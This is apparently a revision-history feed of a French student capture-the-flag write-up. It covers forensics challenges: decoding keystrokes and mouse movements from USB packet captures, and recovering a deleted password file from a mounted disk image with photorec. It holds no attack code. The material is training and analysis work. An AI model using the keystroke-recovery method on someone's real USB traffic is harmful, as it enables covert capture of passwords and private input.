&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58236</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58236"/>
				<updated>2022-01-19T12:17:47Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58235</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58235"/>
				<updated>2022-01-19T12:17:09Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Perçage de coffre */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58234</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58234"/>
				<updated>2022-01-19T12:16:40Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58220</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58220"/>
				<updated>2022-01-19T11:18:19Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. Et ensuite ?&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58219</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58219"/>
				<updated>2022-01-19T10:55:51Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Spécialiste des écoutes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58213</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58213"/>
				<updated>2022-01-19T09:29:31Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58212</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58212"/>
				<updated>2022-01-19T09:27:54Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt;, on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt;, on voit que le périphérique utilisé est une souris.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58211</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58211"/>
				<updated>2022-01-19T09:13:40Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
